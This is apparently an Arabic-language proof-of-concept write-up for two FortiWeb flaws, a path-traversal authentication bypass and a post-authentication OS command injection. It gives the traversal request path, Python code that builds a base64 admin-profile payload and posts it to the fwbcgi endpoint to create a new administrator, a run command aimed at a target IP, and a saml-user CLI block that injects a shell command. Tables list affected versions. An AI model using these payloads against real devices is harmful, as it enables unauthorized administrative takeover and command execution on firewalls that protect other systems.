
استغلال PoC لثغرات FortiWeb: تجاوز المصادقة عبر اجتياز المسار وحقن أوامر نظام التشغيل بعد المصادقة. يتضمن تحليلاً مفصلاً وحمولات وإرشادات تخفيف لاختبار الأمان.
FortiWeb هو جهاز جدار حماية تطبيقات الويب (WAF) يستخدم لحماية تطبيقات الويب.
في عام 2025، تم اكتشاف ثغرتين خطيرتين:
| البند | المحتوى |
|---|---|
| نوع الثغرة | اجتياز المسار النسبي تجاوز المصادقة |
| السبب | معالجة FortiWeb للمسارات بشكل غير صارم قبل المصادقة: - التحكم في الوصول بناءً على سلسلة المسار المنطقي - عدم تسوية (normalize) المسار بالكامل - السماح باستخدام ../ للوصول إلى الموارد الداخلية |
| الوصف | يمكن الوصول إلى بعض نقاط النهاية الإدارية دون مصادقة صالحة |
| الضرر | - تجاوز المصادقة بالكامل - الوصول غير المصرح به إلى وظائف المسؤول - اختراق نموذج التفويض |
| الإصدارات المتأثرة | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
مثال:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
يساعد هذا في تجنب تعارض إصدارات المكتبات، وضمان استقرار بيئة العمل، وتقليل التأثير على النظام

الحمولة (Payload)
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
تشغيل الأداة باستخدام Python3:
python3 exploit.py <IP_target>
<IP_target>: عنوان IP هنا هو اسم مضيف جهاز FortiWeb.
الحصول على اسم المستخدم وكلمة المرور -> ثم تسجيل الدخول

تم الاستغلال بنجاح وإنشاء حساب جديد بصلاحيات المسؤول.
بعد تسجيل الدخول بنجاح باستخدام حساب المسؤول المنشأ حديثاً، يمكن للمهاجم استغلال ثغرة حقن الأوامر الموثقة من خلال طلبات مصممة خصيصاً أو مباشرة عبر واجهة سطر الأوامر (CLI) الخاصة بـ FortiWeb:
config user saml-user
edit "`id`" ## أدخل الأمر هنا
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
سيخرج FortiWeb من سلسلة التكوين وينفذ الأمر id أثناء تكوين saml-user.
| البند | المحتوى |
|---|
| نوع الثغرة | حقن أوامر نظام التشغيل (CWE-78) |
| السبب | معالجة FortiWeb للإدخال بشكل غير آمن عند تنفيذ أوامر نظام التشغيل: - عدم التحقق من صحة الإدخال - عدم الهروب من الأحرف الخاصة - تمرير بيانات المستخدم مباشرة إلى أمر النظام |
| الوصف | تتطلب الثغرة مصادقة لكنها تسمح بحقن أوامر النظام |
| الضرر | - تنفيذ أوامر غير مرغوب فيها - الوصول إلى موارد النظام - التأثير على السلامة والتوفر |
| الإصدارات المتأثرة | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |